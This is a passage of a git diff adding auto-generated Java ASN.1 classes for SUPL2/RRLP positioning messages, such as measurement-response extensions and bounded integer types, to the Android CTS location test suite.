+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.map_lcs_datatypes.VelocityEstimate;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Rel_7_MsrPosition_Rsp_Extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Rel_7_MsrPosition_Rsp_Extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Rel_7_MsrPosition_Rsp_Extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Rel_7_MsrPosition_Rsp_Extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Rel_7_MsrPosition_Rsp_Extension != null) {
+ return ImmutableList.of(TAG_Rel_7_MsrPosition_Rsp_Extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Rel_7_MsrPosition_Rsp_Extension from encoded stream.
+ */
+ public static Rel_7_MsrPosition_Rsp_Extension fromPerUnaligned(byte[] encodedBytes) {
+ Rel_7_MsrPosition_Rsp_Extension result = new Rel_7_MsrPosition_Rsp_Extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Rel_7_MsrPosition_Rsp_Extension from encoded stream.
+ */
+ public static Rel_7_MsrPosition_Rsp_Extension fromPerAligned(byte[] encodedBytes) {
+ Rel_7_MsrPosition_Rsp_Extension result = new Rel_7_MsrPosition_Rsp_Extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private VelocityEstimate velEstimate_;
+ public VelocityEstimate getVelEstimate() {
+ return velEstimate_;
+ }
+ /**
+ * @throws ClassCastException if value is not a VelocityEstimate
+ */
+ public void setVelEstimate(Asn1Object value) {
+ this.velEstimate_ = (VelocityEstimate) value;
+ }
+ public VelocityEstimate setVelEstimateToNewInstance() {
+ velEstimate_ = new VelocityEstimate();
+ return velEstimate_;
+ }
+
+ private GANSSLocationInfo ganssLocationInfo_;
+ public GANSSLocationInfo getGanssLocationInfo() {
+ return ganssLocationInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSLocationInfo
+ */
+ public void setGanssLocationInfo(Asn1Object value) {
+ this.ganssLocationInfo_ = (GANSSLocationInfo) value;
+ }
+ public GANSSLocationInfo setGanssLocationInfoToNewInstance() {
+ ganssLocationInfo_ = new GANSSLocationInfo();
+ return ganssLocationInfo_;
+ }
+
+ private GANSSMeasureInfo ganssMeasureInfo_;
+ public GANSSMeasureInfo getGanssMeasureInfo() {
+ return ganssMeasureInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSMeasureInfo
+ */
+ public void setGanssMeasureInfo(Asn1Object value) {
+ this.ganssMeasureInfo_ = (GANSSMeasureInfo) value;
+ }
+ public GANSSMeasureInfo setGanssMeasureInfoToNewInstance() {
+ ganssMeasureInfo_ = new GANSSMeasureInfo();
+ return ganssMeasureInfo_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getVelEstimate() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getVelEstimate();
+ }
+
+ @Override public void setToNewInstance() {
+ setVelEstimateToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? VelocityEstimate.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "velEstimate : "
+ + getVelEstimate().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssLocationInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssLocationInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssLocationInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSLocationInfo.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssLocationInfo : "
+ + getGanssLocationInfo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssMeasureInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssMeasureInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssMeasureInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSMeasureInfo.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssMeasureInfo : "
+ + getGanssMeasureInfo().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Rel_7_MsrPosition_Rsp_Extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_98_MsrPosition_Rsp_Extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_98_MsrPosition_Rsp_Extension.java
new file mode 100755
index 0000000..d2d39b4
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_98_MsrPosition_Rsp_Extension.java
@@ -0,0 +1,478 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Rel_98_MsrPosition_Rsp_Extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Rel_98_MsrPosition_Rsp_Extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Rel_98_MsrPosition_Rsp_Extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Rel_98_MsrPosition_Rsp_Extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Rel_98_MsrPosition_Rsp_Extension != null) {
+ return ImmutableList.of(TAG_Rel_98_MsrPosition_Rsp_Extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Rel_98_MsrPosition_Rsp_Extension from encoded stream.
+ */
+ public static Rel_98_MsrPosition_Rsp_Extension fromPerUnaligned(byte[] encodedBytes) {
+ Rel_98_MsrPosition_Rsp_Extension result = new Rel_98_MsrPosition_Rsp_Extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Rel_98_MsrPosition_Rsp_Extension from encoded stream.
+ */
+ public static Rel_98_MsrPosition_Rsp_Extension fromPerAligned(byte[] encodedBytes) {
+ Rel_98_MsrPosition_Rsp_Extension result = new Rel_98_MsrPosition_Rsp_Extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Rel_98_MsrPosition_Rsp_Extension.rel_98_Ext_MeasureInfoType rel_98_Ext_MeasureInfo_;
+ public Rel_98_MsrPosition_Rsp_Extension.rel_98_Ext_MeasureInfoType getRel_98_Ext_MeasureInfo() {
+ return rel_98_Ext_MeasureInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel_98_MsrPosition_Rsp_Extension.rel_98_Ext_MeasureInfoType
+ */
+ public void setRel_98_Ext_MeasureInfo(Asn1Object value) {
+ this.rel_98_Ext_MeasureInfo_ = (Rel_98_MsrPosition_Rsp_Extension.rel_98_Ext_MeasureInfoType) value;
+ }
+ public Rel_98_MsrPosition_Rsp_Extension.rel_98_Ext_MeasureInfoType setRel_98_Ext_MeasureInfoToNewInstance() {
+ rel_98_Ext_MeasureInfo_ = new Rel_98_MsrPosition_Rsp_Extension.rel_98_Ext_MeasureInfoType();
+ return rel_98_Ext_MeasureInfo_;
+ }
+
+
+
+ private GPSTimeAssistanceMeasurements extensionTimeAssistanceMeasurements;
+ public GPSTimeAssistanceMeasurements getExtensionTimeAssistanceMeasurements() {
+ return extensionTimeAssistanceMeasurements;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSTimeAssistanceMeasurements
+ */
+ public void setExtensionTimeAssistanceMeasurements(Asn1Object value) {
+ extensionTimeAssistanceMeasurements = (GPSTimeAssistanceMeasurements) value;
+ }
+ public void setExtensionTimeAssistanceMeasurementsToNewInstance() {
+ extensionTimeAssistanceMeasurements = new GPSTimeAssistanceMeasurements();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRel_98_Ext_MeasureInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRel_98_Ext_MeasureInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setRel_98_Ext_MeasureInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Rel_98_MsrPosition_Rsp_Extension.rel_98_Ext_MeasureInfoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rel_98_Ext_MeasureInfo : "
+ + getRel_98_Ext_MeasureInfo().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionTimeAssistanceMeasurements() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionTimeAssistanceMeasurements();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionTimeAssistanceMeasurementsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "timeAssistanceMeasurements : "
+ + getExtensionTimeAssistanceMeasurements().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+*/
+public static class rel_98_Ext_MeasureInfoType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_rel_98_Ext_MeasureInfoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public rel_98_Ext_MeasureInfoType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_rel_98_Ext_MeasureInfoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_rel_98_Ext_MeasureInfoType != null) {
+ return ImmutableList.of(TAG_rel_98_Ext_MeasureInfoType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new rel_98_Ext_MeasureInfoType from encoded stream.
+ */
+ public static rel_98_Ext_MeasureInfoType fromPerUnaligned(byte[] encodedBytes) {
+ rel_98_Ext_MeasureInfoType result = new rel_98_Ext_MeasureInfoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new rel_98_Ext_MeasureInfoType from encoded stream.
+ */
+ public static rel_98_Ext_MeasureInfoType fromPerAligned(byte[] encodedBytes) {
+ rel_98_Ext_MeasureInfoType result = new rel_98_Ext_MeasureInfoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private OTD_MeasureInfo_R98_Ext otd_MeasureInfo_R98_Ext_;
+ public OTD_MeasureInfo_R98_Ext getOtd_MeasureInfo_R98_Ext() {
+ return otd_MeasureInfo_R98_Ext_;
+ }
+ /**
+ * @throws ClassCastException if value is not a OTD_MeasureInfo_R98_Ext
+ */
+ public void setOtd_MeasureInfo_R98_Ext(Asn1Object value) {
+ this.otd_MeasureInfo_R98_Ext_ = (OTD_MeasureInfo_R98_Ext) value;
+ }
+ public OTD_MeasureInfo_R98_Ext setOtd_MeasureInfo_R98_ExtToNewInstance() {
+ otd_MeasureInfo_R98_Ext_ = new OTD_MeasureInfo_R98_Ext();
+ return otd_MeasureInfo_R98_Ext_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getOtd_MeasureInfo_R98_Ext() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getOtd_MeasureInfo_R98_Ext();
+ }
+
+ @Override public void setToNewInstance() {
+ setOtd_MeasureInfo_R98_ExtToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? OTD_MeasureInfo_R98_Ext.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "otd_MeasureInfo_R98_Ext : "
+ + getOtd_MeasureInfo_R98_Ext().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("rel_98_Ext_MeasureInfoType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Rel_98_MsrPosition_Rsp_Extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RelativeAlt.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RelativeAlt.java
new file mode 100755
index 0000000..f719dd9
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RelativeAlt.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class RelativeAlt extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_RelativeAlt
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public RelativeAlt() {
+ super();
+ setValueRange("-4000", "4000");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_RelativeAlt;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_RelativeAlt != null) {
+ return ImmutableList.of(TAG_RelativeAlt);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new RelativeAlt from encoded stream.
+ */
+ public static RelativeAlt fromPerUnaligned(byte[] encodedBytes) {
+ RelativeAlt result = new RelativeAlt();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new RelativeAlt from encoded stream.
+ */
+ public static RelativeAlt fromPerAligned(byte[] encodedBytes) {
+ RelativeAlt result = new RelativeAlt();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "RelativeAlt = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RequestIndex.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RequestIndex.java
new file mode 100755
index 0000000..cc96bcb
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RequestIndex.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class RequestIndex extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_RequestIndex
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public RequestIndex() {
+ super();
+ setValueRange("1", "16");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_RequestIndex;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_RequestIndex != null) {
+ return ImmutableList.of(TAG_RequestIndex);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new RequestIndex from encoded stream.
+ */
+ public static RequestIndex fromPerUnaligned(byte[] encodedBytes) {
+ RequestIndex result = new RequestIndex();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new RequestIndex from encoded stream.
+ */
+ public static RequestIndex fromPerAligned(byte[] encodedBytes) {
+ RequestIndex result = new RequestIndex();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "RequestIndex = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RequiredResponseTime.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RequiredResponseTime.java
new file mode 100755
index 0000000..905a281
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RequiredResponseTime.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class RequiredResponseTime extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_RequiredResponseTime
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public RequiredResponseTime() {
+ super();
+ setValueRange("1", "128");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_RequiredResponseTime;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_RequiredResponseTime != null) {
+ return ImmutableList.of(TAG_RequiredResponseTime);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new RequiredResponseTime from encoded stream.
+ */
+ public static RequiredResponseTime fromPerUnaligned(byte[] encodedBytes) {
+ RequiredResponseTime result = new RequiredResponseTime();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new RequiredResponseTime from encoded stream.
+ */
+ public static RequiredResponseTime fromPerAligned(byte[] encodedBytes) {
+ RequiredResponseTime result = new RequiredResponseTime();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
